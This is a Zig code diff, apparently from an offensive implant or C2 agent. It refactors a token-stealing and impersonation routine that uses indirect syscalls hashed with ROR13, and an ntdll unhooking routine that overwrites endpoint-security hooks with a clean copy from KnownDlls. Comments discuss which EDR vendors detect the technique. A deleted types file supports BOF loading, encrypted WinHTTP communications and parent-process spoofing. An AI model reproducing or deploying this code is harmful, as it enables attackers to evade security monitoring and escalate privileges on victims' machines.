pub fn nt_duplicate_token(existing_token: win.HANDLE, desired_access: win.DWORD, object_attributes: ?*win.OBJECT_ATTRIBUTES, effective_only: win.BOOLEAN, token_type: win.DWORD, new_token: *win.HANDLE) win.NTSTATUS { const args = [_]usize{ @intFromPtr(existing_token), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0), @as(usize, @intFromEnum(effective_only)), @as(usize, token_type), @intFromPtr(new_token) };
const args = [_]usize{ @intFromPtr(existing_token), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0), @intFromBool(effective_only != 0), @as(usize, token_type), @intFromPtr(new_token) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDuplicateToken"), &args, 6)); return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDuplicateToken"), &args, 6));
} }
+20 -17
View File
@@ -1,41 +1,44 @@
// Token impersonation via indirect syscalls.
const std = @import("std"); const std = @import("std");
const windows = std.os.windows;
const nt = @import("nt.zig");
const syscall = @import("syscall.zig"); const syscall = @import("syscall.zig");
const win = @import("win32.zig");
const ThreadImpersonationToken: u32 = 5; // phnt ntpsapi.h THREADINFOCLASS enum const ThreadImpersonationToken: u32 = 5;
pub fn stealToken(pid: u32) bool { pub fn stealToken(pid: u32) bool {
var cid = std.mem.zeroes(win.CLIENT_ID); var cid = std.mem.zeroes(nt.CLIENT_ID);
cid.UniqueProcess = @ptrFromInt(@as(usize, pid)); cid.UniqueProcess = @ptrFromInt(@as(usize, pid));
var oa = std.mem.zeroes(win.OBJECT_ATTRIBUTES); var oa = std.mem.zeroes(nt.OBJECT_ATTRIBUTES);
oa.Length = @sizeOf(win.OBJECT_ATTRIBUTES); oa.Length = @sizeOf(nt.OBJECT_ATTRIBUTES);
var proc_handle: win.HANDLE = undefined; var proc_handle: windows.HANDLE = undefined;
if (!win.NT_SUCCESS(syscall.nt_open_process(&proc_handle, win.PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cid))) if (!nt.NT_SUCCESS(syscall.nt_open_process(&proc_handle, nt.PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cid)))
return false; return false;
defer _ = syscall.nt_close(proc_handle); defer _ = syscall.nt_close(proc_handle);
var token_handle: win.HANDLE = undefined; var token_handle: windows.HANDLE = undefined;
if (!win.NT_SUCCESS(syscall.nt_open_process_token(proc_handle, win.TOKEN_DUPLICATE | win.TOKEN_QUERY | win.TOKEN_IMPERSONATE, &token_handle))) if (!nt.NT_SUCCESS(syscall.nt_open_process_token(
return false; proc_handle, nt.TOKEN_DUPLICATE | nt.TOKEN_QUERY | nt.TOKEN_IMPERSONATE, &token_handle,
))) return false;
defer _ = syscall.nt_close(token_handle); defer _ = syscall.nt_close(token_handle);
var dup_token: win.HANDLE = undefined; var dup_token: windows.HANDLE = undefined;
if (!win.NT_SUCCESS(syscall.nt_duplicate_token(token_handle, win.MAXIMUM_ALLOWED, null, 0, @intFromEnum(win.TOKEN_TYPE.TokenImpersonation), &dup_token))) if (!nt.NT_SUCCESS(syscall.nt_duplicate_token(
return false; token_handle, nt.MAXIMUM_ALLOWED, null, nt.FALSE_BOOL(), @intFromEnum(nt.TOKEN_TYPE.TokenImpersonation), &dup_token,
))) return false;
defer _ = syscall.nt_close(dup_token); defer _ = syscall.nt_close(dup_token);
return win.NT_SUCCESS(syscall.nt_set_information_thread( return nt.NT_SUCCESS(syscall.nt_set_information_thread(
syscall.nt_current_thread(), syscall.nt_current_thread(),
ThreadImpersonationToken, ThreadImpersonationToken,
@ptrCast(&dup_token), @ptrCast(&dup_token),
@sizeOf(win.HANDLE), @sizeOf(windows.HANDLE),
)); ));
} }
// Revert to process token by setting ThreadImpersonationToken to NULL.
pub fn rev2self() bool { pub fn rev2self() bool {
return win.NT_SUCCESS(syscall.nt_set_information_thread( return nt.NT_SUCCESS(syscall.nt_set_information_thread(
syscall.nt_current_thread(), syscall.nt_current_thread(),
ThreadImpersonationToken, ThreadImpersonationToken,
null, null,
+31 -37
View File
@@ -1,42 +1,36 @@
// Maps clean .text from \KnownDlls\ntdll.dll section object, overwrites EDR hooks.
// Heavily signatured by CrowdStrike and SentinelOne. Irrelevant against MDE which
// uses kernel callbacks and ETW-TI instead of user-mode hooks. FreshyCalls preferred.
const std = @import("std"); const std = @import("std");
const windows = std.os.windows;
const nt = @import("nt.zig");
const syscall = @import("syscall.zig"); const syscall = @import("syscall.zig");
const resolve = @import("resolve.zig"); const resolve = @import("resolve.zig");
const win = @import("win32.zig"); const pe = @import("pe.zig");
var g_unhooked: bool = false; var g_unhooked: bool = false;
// Map clean .text from \KnownDlls\ntdll.dll section object, overwrite EDR hooks.
// Heavily signatured by CrowdStrike and SentinelOne. Irrelevant against MDE which
// uses kernel callbacks and ETW-TI instead of user-mode hooks. FreshyCalls preferred.
pub fn unhookNtdll() void { pub fn unhookNtdll() void {
if (g_unhooked) return; if (g_unhooked) return;
g_unhooked = true; g_unhooked = true;
const ntdll_hash = resolve.hash_ror13("ntdll.dll"); const ntdll_hash = resolve.hash_ror13("ntdll.dll");
const our_base = resolve.get_module_by_hash(ntdll_hash) orelse return; const our_base = resolve.get_module_by_hash(ntdll_hash) orelse return;
const our_bytes = @as([*]u8, @ptrCast(our_base)); const our_bytes: [*]u8 = @ptrCast(our_base);
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@alignCast(our_bytes))); const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(our_bytes));
if (dos.e_magic != 0x5A4D) return; if (dos.e_magic != 0x5A4D) return;
const nt = @as(*align(1) extern struct { const nt_hdrs: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast(
Signature: u32, our_bytes + @as(usize, @intCast(dos.e_lfanew)),
FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 }, ));
OptionalHeader: extern struct { pad0: [56]u8, SizeOfImage: u32, pad1: [180]u8 }, if (nt_hdrs.Signature != 0x00004550) return;
}, @ptrCast(@alignCast(our_bytes + @as(usize, @intCast(dos.e_lfanew)))));
if (nt.Signature != 0x00004550) return;
var text_va: usize = 0; var text_va: usize = 0;
var text_size: usize = 0; var text_size: usize = 0;
const section_off = dos.e_lfanew + 4 + 20 + 240; const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64);
const sections = @as([*]align(1) extern struct { const sections: [*]align(1) const pe.IMAGE_SECTION_HEADER = @ptrCast(@alignCast(our_bytes + section_off));
Name: [8]u8, for (0..nt_hdrs.FileHeader.NumberOfSections) |i| {
VirtualSize: u32,
VirtualAddress: u32,
pad: [20]u8,
Characteristics: u32,
}, @ptrFromInt(@intFromPtr(our_bytes) + @as(usize, @intCast(section_off))));
for (0..nt.FileHeader.NumberOfSections) |i| {
if (std.mem.eql(u8, sections[i].Name[0..5], ".text") and sections[i].Name[5] == 0) { if (std.mem.eql(u8, sections[i].Name[0..5], ".text") and sections[i].Name[5] == 0) {
text_va = sections[i].VirtualAddress; text_va = sections[i].VirtualAddress;
text_size = sections[i].VirtualSize; text_size = sections[i].VirtualSize;
@@ -46,23 +40,23 @@ pub fn unhookNtdll() void {
if (text_va == 0 or text_size == 0) return; if (text_va == 0 or text_size == 0) return;
const name = [_:0]u16{ '\\', 'K', 'n', 'o', 'w', 'n', 'D', 'l', 'l', 's', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0 }; const name = [_:0]u16{ '\\', 'K', 'n', 'o', 'w', 'n', 'D', 'l', 'l', 's', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0 };
var us: win.UNICODE_STRING = .{ var us: nt.UNICODE_STRING = .{
.Length = (@sizeOf(@TypeOf(name)) - 2), .Length = @sizeOf(@TypeOf(name)) - @sizeOf(u16),
.MaximumLength = @sizeOf(@TypeOf(name)), .MaximumLength = @sizeOf(@TypeOf(name)),
.Buffer = @ptrCast(@constCast(&name)), .Buffer = @ptrCast(@constCast(&name)),
}; };
var oa = std.mem.zeroes(win.OBJECT_ATTRIBUTES); var oa = std.mem.zeroes(nt.OBJECT_ATTRIBUTES);
oa.Length = @sizeOf(win.OBJECT_ATTRIBUTES); oa.Length = @sizeOf(nt.OBJECT_ATTRIBUTES);
oa.ObjectName = &us; oa.ObjectName = &us;
oa.Attributes = win.OBJ_CASE_INSENSITIVE; oa.Attributes = nt.OBJ_CASE_INSENSITIVE;
var section_handle: win.HANDLE = undefined; var section_handle: windows.HANDLE = undefined;
if (!win.NT_SUCCESS(syscall.nt_open_section(&section_handle, win.SECTION_MAP_READ, &oa))) if (!nt.NT_SUCCESS(syscall.nt_open_section(&section_handle, nt.SECTION_MAP_READ, &oa)))
return; return;
defer _ = syscall.nt_close(section_handle); defer _ = syscall.nt_close(section_handle);
var view_base: ?*anyopaque = null; var view_base: ?*anyopaque = null;
var view_size: win.SIZE_T = 0; var view_size: windows.SIZE_T = 0;
_ = syscall.nt_map_view_of_section( _ = syscall.nt_map_view_of_section(
section_handle, section_handle,
syscall.nt_current_process(), syscall.nt_current_process(),
@@ -71,23 +65,23 @@ pub fn unhookNtdll() void {
0, 0,
null, null,
&view_size, &view_size,
2, // ViewUnmap = 2 2,
0, 0,
win.PAGE_READONLY, nt.PAGE_READONLY,
); );
if (view_base != null and view_size >= text_size) { if (view_base != null and view_size >= text_size) {
const clean_base = @as([*]u8, @ptrCast(view_base)); const clean_base: [*]const u8 = @ptrCast(view_base);
const our_text = our_bytes[text_va .. text_va + text_size]; const our_text = our_bytes[text_va .. text_va + text_size];
var region_size: win.SIZE_T = text_size; var region_size: windows.SIZE_T = text_size;
var old_prot: win.DWORD = 0; var old_prot: windows.DWORD = 0;
var base_ptr: ?*anyopaque = @ptrCast(&our_bytes[text_va]); var base_ptr: ?*anyopaque = @ptrCast(&our_bytes[text_va]);
if (!win.NT_SUCCESS(syscall.nt_protect_virtual_memory( if (!nt.NT_SUCCESS(syscall.nt_protect_virtual_memory(
syscall.nt_current_process(), syscall.nt_current_process(),
&base_ptr, &base_ptr,
&region_size, &region_size,
win.PAGE_READWRITE, nt.PAGE_READWRITE,
&old_prot, &old_prot,
))) return; ))) return;
@@ -99,7 +93,7 @@ pub fn unhookNtdll() void {
syscall.nt_current_process(), syscall.nt_current_process(),
&base_ptr, &base_ptr,
&region_size, &region_size,
win.PAGE_EXECUTE_READ, nt.PAGE_EXECUTE_READ,
&old_prot, &old_prot,
); );
} }
-469
View File
@@ -1,469 +0,0 @@
// Win32 type aliases, constants, and struct definitions.
const std = @import("std");
pub const WINAPI = std.builtin.CallingConvention.winapi;
pub const CHAR = i8;
pub const UCHAR = u8;
pub const BYTE = u8;
pub const WORD = u16;
pub const WCHAR = u16;
pub const SHORT = i16;
pub const INT = i32;
pub const UINT = u32;
pub const LONG = i32;
pub const DWORD = u32;
pub const DWORD64 = u64;
pub const ULONG = u32;
pub const LONGLONG = i64;
pub const ULONGLONG = u64;
pub const BOOL = i32;
pub const BOOLEAN = u8;
pub const NTSTATUS = i32;
pub const HRESULT = i32;
pub const SIZE_T = usize;
pub const DWORD_PTR = usize;
pub const UINT_PTR = usize;
pub const ULONG_PTR = usize;
pub const LONG_PTR = isize;
pub const LARGE_INTEGER = i64;
pub const INTERNET_PORT = u16;
pub const LPVOID = *anyopaque;
pub const LPCVOID = *const anyopaque;
pub const HANDLE = *anyopaque;
pub const PHANDLE = *HANDLE;
pub const HMODULE = *anyopaque;
pub const HINSTANCE = *anyopaque;
pub const HINTERNET = *anyopaque;
pub const LPSTR = [*:0]u8;
pub const LPCSTR = [*:0]const u8;
pub const LPWSTR = [*:0]u16;
pub const LPCWSTR = [*:0]const u16;
pub const PDWORD = *DWORD;
pub const PULONG = *ULONG;
pub const PSIZE_T = *SIZE_T;
pub const PBOOL = *BOOL;
pub const FARPROC = *const fn () callconv(WINAPI) isize;
pub inline fn NT_SUCCESS(status: NTSTATUS) bool {
return status >= 0;
}
pub const MEM_COMMIT: ULONG = 0x00001000;
pub const MEM_RESERVE: ULONG = 0x00002000;
pub const MEM_RELEASE: ULONG = 0x00008000;
pub const PAGE_NOACCESS: ULONG = 0x01;
pub const PAGE_READONLY: ULONG = 0x02;
pub const PAGE_READWRITE: ULONG = 0x04;
pub const DLL_PROCESS_ATTACH: ULONG = 1;
pub const PAGE_EXECUTE: ULONG = 0x10;
pub const PAGE_EXECUTE_READ: ULONG = 0x20;
pub const PAGE_EXECUTE_READWRITE: ULONG = 0x40;
pub const CONTEXT_AMD64: DWORD = 0x00100000;
pub const CONTEXT_DEBUG_REGISTERS: DWORD = CONTEXT_AMD64 | 0x00000010; // 0x00100010
pub const EXCEPTION_SINGLE_STEP: DWORD = 0x80000004;
pub const EXCEPTION_CONTINUE_EXECUTION: LONG = -1;
pub const EXCEPTION_CONTINUE_SEARCH: LONG = 0;
// process/startup constants + structures
pub const STARTF_USESTDHANDLES: DWORD = 0x00000100;
pub const EXTENDED_STARTUPINFO_PRESENT: DWORD = 0x00080000;
pub const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS: DWORD_PTR = 0x00020000;
pub const STARTUPINFOEXA = extern struct {
StartupInfo: STARTUPINFOA,
lpAttributeList: ?*anyopaque,
};
pub const CREATE_NO_WINDOW: DWORD = 0x08000000;
// Section access rights for NtOpenSection / NtMapViewOfSection
pub const SECTION_MAP_READ: DWORD = 0x0004;
pub const SECTION_MAP_WRITE: DWORD = 0x0002;
pub const SECTION_MAP_EXECUTE: DWORD = 0x0008;
pub const PROCESS_QUERY_INFORMATION: DWORD = 0x0400;
pub const PROCESS_QUERY_LIMITED_INFORMATION: DWORD = 0x1000;
pub const PROCESS_CREATE_PROCESS: DWORD = 0x0080;
pub const MAXIMUM_ALLOWED: DWORD = 0x02000000;
// Object attribute flags
pub const OBJ_CASE_INSENSITIVE: ULONG = 0x00000040;
pub const MAX_PATH: usize = 260;
pub const WINHTTP_FLAG_SECURE: ULONG = 0x00800000;
pub const WINHTTP_ACCESS_TYPE_DEFAULT_PROXY: ULONG = 0;
pub const WINHTTP_ACCESS_TYPE_NAMED_PROXY: ULONG = 3;
pub const WINHTTP_ADDREQ_FLAG_ADD_IF_NEW: ULONG = 0x10000000;
pub const WINHTTP_OPTION_ENABLE_HTTP2_PROTOCOL: ULONG = 133;
pub const WINHTTP_PROTOCOL_FLAG_HTTP2: ULONG = 0x1;
pub const WINHTTP_WEB_SOCKET_BUFFER_TYPE = enum(u32) {
BINARY_MESSAGE = 0,
BINARY_FRAGMENT = 1,
UTF8_MESSAGE = 2,
UTF8_FRAGMENT = 3,
CLOSE = 4,
};
pub const IMAGE_DIRECTORY_ENTRY_EXPORT: usize = 0;
pub const IMAGE_SYM_CLASS_EXTERNAL: u8 = 2;
pub const IMAGE_FILE_MACHINE_AMD64: u16 = 0x8664;
pub const IMAGE_REL_AMD64_ABSOLUTE: u16 = 0x0000;
pub const IMAGE_REL_AMD64_ADDR64: u16 = 0x0001;
pub const IMAGE_REL_AMD64_ADDR32: u16 = 0x0002;
pub const IMAGE_REL_AMD64_ADDR32NB: u16 = 0x0003;
pub const IMAGE_REL_AMD64_REL32: u16 = 0x0004;
pub const IMAGE_REL_AMD64_REL32_1: u16 = 0x0005;
pub const IMAGE_REL_AMD64_REL32_2: u16 = 0x0006;
pub const IMAGE_REL_AMD64_REL32_3: u16 = 0x0007;
pub const IMAGE_REL_AMD64_REL32_4: u16 = 0x0008;
pub const IMAGE_REL_AMD64_REL32_5: u16 = 0x0009;
pub const COFF_SECT_EXEC: u32 = 0x20000000;
pub const COFF_SECT_WRITE: u32 = 0x80000000;
pub const COFF_SECT_DATA: u32 = 0x40000000;
pub const BCRYPT_AES_ALGORITHM: LPCWSTR = &[_:0]u16{ 'a', 'e', 's' };
pub const BCRYPT_CHAINING_MODE: LPCWSTR = &[_:0]u16{ 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e' };
pub const BCRYPT_CHAIN_MODE_GCM: LPCWSTR = &[_:0]u16{ 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e', 'G', 'C', 'M' };
pub const BCRYPT_USE_SYSTEM_PREFERRED_RNG: ULONG = 0x00000002;
pub const BCRYPT_ECDH_P256_ALGORITHM: LPCWSTR = &[_:0]u16{ 'E', 'C', 'D', 'H', '_', 'P', '2', '5', '6' };
pub const BCRYPT_ECCPUBLIC_BLOB: LPCWSTR = &[_:0]u16{ 'E', 'C', 'C', 'P', 'U', 'B', 'L', 'I', 'C', 'B', 'L', 'O', 'B' };
pub const BCRYPT_KDF_RAW_SECRET: ?*const anyopaque = @as(?*const anyopaque, @ptrFromInt(3));
pub const AES_KEY_SIZE: usize = 32;
pub const GCM_NONCE_SIZE: usize = 12;
pub const GCM_TAG_SIZE: usize = 16;
pub fn BCRYPT_INIT_AUTH_MODE_INFO(info: *BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO) void {
info.cbSize = @sizeOf(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO);
info.dwInfoVersion = 1;
info.pbNonce = null;
info.cbNonce = 0;
info.pbAuthData = null;
info.cbAuthData = 0;
info.pbTag = null;
info.cbTag = 0;
info.pbMacContext = null;
info.cbMacContext = 0;
info.dwFlags = 0;
info.pbIV = null;
info.cbIV = 0;
}
pub const UNICODE_STRING = extern struct {
Length: u16,
MaximumLength: u16,
Buffer: [*]u16,
};
pub const SYSTEM_INFO = extern struct {
u: extern union {
dwOemId: DWORD,
s: extern struct {
wProcessorArchitecture: WORD,
wReserved: WORD,
},
},
dwPageSize: DWORD,
lpMinimumApplicationAddress: LPVOID,
lpMaximumApplicationAddress: LPVOID,
dwActiveProcessorMask: DWORD_PTR,
dwNumberOfProcessors: DWORD,
dwProcessorType: DWORD,
dwAllocationGranularity: DWORD,
wProcessorLevel: WORD,
wProcessorRevision: WORD,
};
pub const COORD = extern struct {
X: SHORT,
Y: SHORT,
};
pub const MEMORY_BASIC_INFORMATION = extern struct {
BaseAddress: LPVOID,
AllocationBase: LPVOID,
AllocationProtect: DWORD,
RegionSize: SIZE_T,
State: DWORD,
Protect: DWORD,
Type: DWORD,
};
pub const SECURITY_ATTRIBUTES = extern struct {
nLength: DWORD,
lpSecurityDescriptor: ?LPVOID,
bInheritHandle: BOOL,
};
pub const PROCESS_INFORMATION = extern struct {
hProcess: HANDLE,
hThread: HANDLE,
dwProcessId: DWORD,
dwThreadId: DWORD,
};
pub const STARTUPINFOA = extern struct {
cb: DWORD,
lpReserved: LPSTR,
lpDesktop: LPSTR,
lpTitle: LPSTR,
dwX: DWORD,
dwY: DWORD,
dwXSize: DWORD,
dwYSize: DWORD,
dwXCountChars: DWORD,
dwYCountChars: DWORD,
dwFillAttribute: DWORD,
dwFlags: DWORD,
wShowWindow: WORD,
cbReserved2: WORD,
lpReserved2: *BYTE,
hStdInput: HANDLE,
hStdOutput: HANDLE,
hStdError: HANDLE,
};
pub const SYSTEMTIME = extern struct {
wYear: WORD,
wMonth: WORD,
wDayOfWeek: WORD,
wDay: WORD,
wHour: WORD,
wMinute: WORD,
wSecond: WORD,
wMilliseconds: WORD,
};
pub const CONTEXT = extern struct {
P1Home: DWORD64,
P2Home: DWORD64,
P3Home: DWORD64,
P4Home: DWORD64,
P5Home: DWORD64,
P6Home: DWORD64,
ContextFlags: DWORD,
MxCsr: DWORD,
SegCs: WORD,
SegDs: WORD,
SegEs: WORD,
SegFs: WORD,
SegGs: WORD,
SegSs: WORD,
EFlags: DWORD,
Dr0: DWORD64,
Dr1: DWORD64,
Dr2: DWORD64,
Dr3: DWORD64,
Dr6: DWORD64,
Dr7: DWORD64,
Rax: DWORD64,
Rcx: DWORD64,
Rdx: DWORD64,
Rbx: DWORD64,
Rsp: DWORD64,
Rbp: DWORD64,
Rsi: DWORD64,
Rdi: DWORD64,
R8: DWORD64,
R9: DWORD64,
R10: DWORD64,
R11: DWORD64,
R12: DWORD64,
R13: DWORD64,
R14: DWORD64,
R15: DWORD64,
Rip: DWORD64,
};
pub const EXCEPTION_RECORD = extern struct {
ExceptionCode: DWORD,
ExceptionFlags: DWORD,
ExceptionRecord: *EXCEPTION_RECORD,
ExceptionAddress: *anyopaque,
NumberParameters: DWORD,
ExceptionInformation: [15]ULONG_PTR,
};
pub const EXCEPTION_POINTERS = extern struct {
ExceptionRecord: *EXCEPTION_RECORD,
ContextRecord: *CONTEXT,
};
pub const RTL_OSVERSIONINFOW = extern struct {
dwOSVersionInfoSize: DWORD,
dwMajorVersion: DWORD,
dwMinorVersion: DWORD,
dwBuildNumber: DWORD,
dwPlatformId: DWORD,
szCSDVersion: [128]WCHAR,
};
pub const BCRYPT_ALG_HANDLE = *opaque {};
pub const BCRYPT_KEY_HANDLE = *opaque {};
pub const BCRYPT_SECRET_HANDLE = *opaque {};
pub const BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO = extern struct {
cbSize: ULONG,
dwInfoVersion: ULONG,
pbNonce: ?*u8,
cbNonce: ULONG,
pbAuthData: ?*u8,
cbAuthData: ULONG,
pbTag: ?*u8,
cbTag: ULONG,
pbMacContext: ?*u8,
cbMacContext: ULONG,
dwFlags: ULONG,
pbIV: ?*u8,
cbIV: ULONG,
};
pub const coff_file_header_t = extern struct {
Machine: u16,
NumberOfSections: u16,
TimeDateStamp: u32,
PointerToSymbolTable: u32,
NumberOfSymbols: u32,
SizeOfOptionalHeader: u16,
Characteristics: u16,
};
pub const coff_section_header_t = extern struct {
Name: [8]u8,
VirtualSize: u32,
VirtualAddress: u32,
SizeOfRawData: u32,
PointerToRawData: u32,
PointerToRelocations: u32,
PointerToLinenumbers: u32,
NumberOfRelocations: u16,
NumberOfLinenumbers: u16,
Characteristics: u32,
};
pub const coff_symbol_t = extern struct {
Name: extern union {
ShortName: [8]u8,
LongName: extern struct {
Zeroes: u32,
Offset: u32,
},
},
Value: u32,
SectionNumber: i16,
Type: u16,
StorageClass: u8,
NumberOfAuxSymbols: u8,
};
pub const coff_reloc_t = extern struct {
VirtualAddress: u32,
SymbolTableIndex: u32,
Type: u16,
};
pub const coff_mapped_section_t = struct {
data: []u8,
characteristics: u32,
name: [8]u8,
};
pub const bof_data_parser_t = struct {
data: []const u8,
offset: usize,
};
pub const OBJECT_ATTRIBUTES = extern struct {
Length: ULONG,
RootDirectory: ?HANDLE,
ObjectName: ?*anyopaque,
Attributes: ULONG,
SecurityDescriptor: ?*anyopaque,
SecurityQualityOfService: ?*anyopaque,
};
pub const CLIENT_ID = extern struct {
UniqueProcess: HANDLE,
UniqueThread: ?HANDLE,
};
pub const PROCESS_INSTRUMENTATION_CALLBACK = extern struct {
Version: ULONG,
Reserved: ULONG,
Callback: ?*anyopaque,
};
pub const PROCESS_CREATE_INFO = extern struct {
Size: SIZE_T,
ProcessHandle: HANDLE,
ParentProcess: HANDLE,
};
pub const SECURITY_IMPERSONATION_LEVEL = enum(u32) {
SecurityAnonymous = 0,
SecurityIdentification = 1,
SecurityImpersonation = 2,
SecurityDelegation = 3,
};
pub const TOKEN_TYPE = enum(u32) {
TokenPrimary = 1,
TokenImpersonation = 2,
};
pub const TOKEN_DUPLICATE: DWORD = 0x0002;
pub const TOKEN_QUERY: DWORD = 0x0008;
pub const TOKEN_ADJUST_PRIVILEGES: DWORD = 0x0020;
pub const TOKEN_ASSIGN_PRIMARY: DWORD = 0x0001;
pub const TOKEN_IMPERSONATE: DWORD = 0x0004;
pub const LUID = extern struct {
LowPart: DWORD,
HighPart: LONG,
};
pub const LUID_AND_ATTRIBUTES = extern struct {
Luid: LUID,
Attributes: DWORD,
};
pub const TOKEN_PRIVILEGES = extern struct {
PrivilegeCount: DWORD,
Privileges: [1]LUID_AND_ATTRIBUTES,
};
pub const SE_PRIVILEGE_ENABLED: DWORD = 0x00000002;
pub const GENERIC_READ: DWORD = 0x80000000;
pub const GENERIC_WRITE: DWORD = 0x40000000;
pub const OPEN_EXISTING: DWORD = 3;
pub const OPEN_ALWAYS: DWORD = 4;
pub const CREATE_ALWAYS: DWORD = 2;
pub const FILE_SHARE_READ: DWORD = 0x00000001;
pub const FILE_SHARE_WRITE: DWORD = 0x00000002;
pub const FILE_ATTRIBUTE_NORMAL: DWORD = 0x00000080;
pub const INVALID_HANDLE_VALUE: HANDLE = @ptrFromInt(~@as(usize, 0));
pub const CRITICAL_SECTION = extern struct {
DebugInfo: ?*anyopaque,
LockCount: LONG,
RecursionCount: LONG,
OwningThread: HANDLE,
LockSemaphore: HANDLE,
SpinCount: ULONG_PTR,
};
pub const PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE: DWORD_PTR = 0x00020016;